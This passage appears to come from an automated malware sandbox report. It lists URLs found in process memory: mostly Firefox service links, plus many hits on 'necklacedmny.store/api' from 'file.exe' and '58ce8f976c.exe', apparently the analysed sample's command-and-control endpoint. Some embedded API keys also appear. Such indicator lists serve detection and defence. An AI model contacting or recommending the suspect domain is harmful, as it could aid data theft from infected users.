Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001A.00000002.3269450087.0000019E4C376000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C2CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C2CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3247453530.0000019E4B540000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.3236996781.0000019E48E21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestError
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E495BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000000.00000003.2231452850.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store
Source: 58ce8f976c.exe, 0000000A.00000003.2971263867.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2980379143.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.3094090428.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3203204120.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3131133881.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3138408920.00000000018E0000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3067807604.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 58ce8f976c.exe, 0000000A.00000003.2980379143.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/4
Source: 58ce8f976c.exe, 0000000C.00000003.3203204120.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/7p4
Source: 58ce8f976c.exe, 0000000A.00000003.2980379143.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/D
Source: 58ce8f976c.exe, 0000000C.00000003.3067807604.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/L~
Source: 58ce8f976c.exe, 0000000C.00000003.3161372475.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3161906847.00000000018F9000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3049628457.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3104075397.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3067807604.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2173591731.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api%H
Source: 58ce8f976c.exe, 0000000C.00000003.3067807604.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api9
Source: 58ce8f976c.exe, 0000000C.00000003.3201552486.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api:
Source: file.exe, 00000000.00000003.2230773204.0000000001546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiD
Source: 58ce8f976c.exe, 0000000C.00000003.3083289579.0000000005FDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiMg
Source: 58ce8f976c.exe, 0000000C.00000003.3083289579.0000000005FDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiNBR
Source: file.exe, 00000000.00000003.2244012990.000000000156B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2269139740.000000000156C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiT
Source: 58ce8f976c.exe, 0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apienw:
Source: file.exe, 00000000.00000003.2269022223.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apif
Source: 58ce8f976c.exe, 0000000A.00000003.3094128687.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apioW
Source: 58ce8f976c.exe, 0000000A.00000003.2964739000.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apip
Source: 58ce8f976c.exe, 0000000A.00000003.2895497004.0000000000FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/f~
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.3286844037.0000019E4DC05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.3286844037.0000019E4DC05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E495BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3247984693.0000019E4B603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2resource:/
Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.29FHiY4uhCsN7
Source: firefox.exe, 0000001A.00000002.3254465653.0000019E4BC13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.3254465653.0000019E4BC13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E0ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.3260229875.0000019E4C00E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E495BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000003.3169464737.0000019E4DEB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 58ce8f976c.exe, 0000000C.00000003.3089311175.00000000060F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helptoolbar-menubar
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingschrome://browser/content/mi
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesgetCanApplyUpdates
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/PrivateBrowsingUtils.sys.mj
Source: 58ce8f976c.exe, 0000000C.00000003.3089311175.00000000060F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
